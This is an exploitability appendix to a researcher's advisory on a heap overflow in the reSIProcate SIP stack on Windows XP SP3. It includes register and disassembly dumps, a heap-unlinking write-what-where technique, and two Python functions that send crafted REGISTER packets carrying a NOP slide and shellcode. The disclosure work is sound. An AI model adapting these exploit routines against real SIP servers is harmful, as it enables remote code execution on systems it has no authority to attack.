Heap overflow vulnerability in reSIProcate through 1.10.2: exploitability | Joachim De Zutter
The following exploitability examination was separated from advisory.html
because AVG Web Shield considered the following text to be a threat because it had scary fragments like "shellcode" followed by "=" in it:



More threats may be lurking!

EXPLOITABILITY OF REPRO ON WINDOWS XP PROFESSIONAL SP3

Whether the bug can lead to remote code execution in practice depends in part on whether the
heap integrity checks in place (if any) prevent arbitrary code execution.

For example it is possible to reach the safe unlinking checks inside NTDLL.DLL on Windows XP
Professional SP3 with registers EAX and EDI under the attacker's control when triggering the
bug in a repro server:

EAX = 0x41414141
EBX = 0x003C0000
ECX = 0x01AE24A8
EDX = 0x003C0178
ESI = 0x01AE24A0
EDI = 0x45454545
ESP = 0x022EEDF4
EBP = 0x022EF014
EIP = 0x7C910C8E
EFLAGS = 0x00000206

0x7C910C8E:	mov	edx, dword ptr [eax]
0x7C910C90:	cmp	edx, dword ptr [edi + 4]
0x7C910C93:	jne	0x7c9369a5
0x7C910C99:	cmp	edx, ecx
0x7C910C9B:	jne	0x7c9369a5
0x7C910CA1:	mov	dword ptr [eax], edi
0x7C910CA3:	mov	dword ptr [edi + 4], eax

Despite the safe unlinking checks, with modifications to the test script in practice it
has been possible to write a pointer to a location inside a heap chunk controlled
by the attacker inside any chosen writable memory region of the repro process on Windows
XP SP3 during NTDLL!RtlFreeHeap from a call to free() by SipMessage::freeMem by writing
220 bytes past the end of the heap buffer, followed by an address to write to.
This smashed 4 chunks of allocated data on the heap with a total size of 208 bytes:

chunk #1 size = 0xE*8
chunk #2 size = 0x6*8
chunk #3 size = 0x3*8
chunk #4 size = 0x3*8

Before reaching the header of chunk #5 which looked like this:

AC 0A 03 00 ?? 00 08 02 78 01 15 00 XX XX XX XX

In Windows XP SP3 the location of the PEB is a bit randomized. In case an attacker could
guess the location of the PEB (at 0x7FFD?000), it would be possible to overwrite a function
address inside it (FastPebLockRoutine at PEB+0x20 or FastPebUnlockRoutine at PEB+0x24)
in order for data on the heap to be executed by NTDLL!RtlAcquirePebLock or
NTDLL!RtlReleasePebLock.

On Windows XP SP3 a more reliable method is probably to overwrite a function address inside
the writable .data section of WS2_32.DLL (at 0x71AC4050) or MSWSOCK.DLL (at 0x71A87920).
If the location of the function address matches on the target, this leads to execution of
heap chunk data like this:

[ 8 bytes of heap metadata (FLINK, BLINK) ]  [ fragment of data from decrypted TLS packet ]

After this was executed during NTDLL!RtlFreeHeap:

; overwrite "REGI" with address
0x7C9108CE:	mov	dword ptr [eax], ecx
; overwrite "STER" with 0x71AC4050 or 0x71A87920
0x7C9108D0:	mov	dword ptr [eax + 4], edx
; write address of smashed "REGISTER" to 0x71AC4050 or 0x71A87920
0x7C9108D3:	mov	dword ptr [edx], eax
; overwrite 0x71AC4050 in oversized buffer with address of smashed "REGISTER"
0x7C9108D5:	mov	dword ptr [ecx + 4], eax

In the fragment of data from the decrypted TLS packet it's possible to write a NOP slide,
followed by shellcode. In case the 8 bytes of heap metadata didn't cause a crash or
continues execution somewhere inside the NOP slide, the shellcode after it will get
executed.

def exploit_server_heap_overflow_windows_xp_sp3(connection):
	global username, server, via, shellcode
	buffer_length = 0x20
	nopslide = 256 * b"\x90"
	register_packet = b"REGISTER "+nopslide+shellcode+b"sip:"+server.encode()+b" SIP/2.0\x0d\x0aVia: SIP/2.0/TCP " + via.encode() + b"\x0d\x0aContact: <sip:" + username.encode() + b"@" + via.encode() + b">\x0d\x0aTo: <sip:" + username.encode() + b"@" + server.encode() + b";transport=TCP>\x0d\x0aFrom: <sip:" + username.encode() + b"@" + server.encode() + b">\x0d\x0aCSeq: 1 REGISTER\x0d\x0aExpires: 600\x0d\x0aContent-Length: " + ("%ld" % buffer_length).encode() + b"\x0d\x0a\x0d\x0a"
	write_address = b"\x50\x40\xAC\x71"
	#write_address = b"\x20\x79\xA8\x71"
	oversized_packet = (buffer_length + 220) * b"X" + write_address + 1024 * b"X"
	connection.send(register_packet)
	connection.send(oversized_packet)

Although the exploit sometimes worked against a repro version built with VS2013, it
didn't work against a version built with VS2010. To make it work against a version built
with VS2010, causing a chunk of memory of 1kB to be allocated and freed (added to the
empty doubly linked list at FreeLists[0]) and modifying the exploit code a bit to skip
the execution of heap metadata led to execution of the shellcode.

def exploit_server_heap_overflow_windows_xp_sp3_vs_2010(connection):
	global useragent, username, via, shellcode
	buffer_length = (0x23-1)*8
	#0x71A66766: FF 10 CALL [EAX] in MSWSOCK.DLL
	target_eip = b"\x66\x67\xA6\x71"
	register_packet = b"REGISTER "+23*b" "+target_eip+b"sip:"+server.encode()+b" SIP/2.0\x0d\x0aVia: SIP/2.0/TCP " + via.encode() + b"\x0d\x0aContact: <sip:" + username.encode() + b"@" + via.encode() + b">\x0d\x0aTo: <sip:" + username.encode() + b"@" + server.encode() + b";transport=TCP>\x0d\x0aFrom: <sip:" + username.encode() + b"@" + server.encode() + b">\x0d\x0aCSeq: 1 REGISTER\x0d\x0aExpires: 600\x0d\x0aContent-Length: " + ("%ld" % buffer_length).encode() + b"\x0d\x0a\x0d\x0a"
	#in MSWSOCK.DLL!SockBuildSockaddr:
	#0x71A53F8F:	mov	eax, dword ptr [0x71a87210]
	#0x71A53F94:	call	dword ptr [eax + 0x20]
	write_address = b"\x10\x72\xA8\x71"
	#after CALL [EAX] we should reach the unconditional jump below, which jumps to the shellcode
	oversized_packet = (buffer_length + 0x8) * b"X" + b"\xEB\x06XX" + write_address + shellcode
	connection.send(register_packet)
	connection.send(oversized_packet)

Using heap normalization techniques both exploits could probably be modified to work across
builds.

Further research may prove that the bug can lead to arbitrary code execution in software
based on the affected version of reSIProcate running on newer and totally different
operating systems as well. It may also prove that more reliable ways of exploitation than
the method(s) described above exist.

DISCLAIMER

The information in this report is believed to be accurate at the time of publishing based on
currently available information.
Use of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the author nor the publisher
accepts any liability for any direct, indirect, or consequential loss or damage arising from
use of, or reliance on, this information.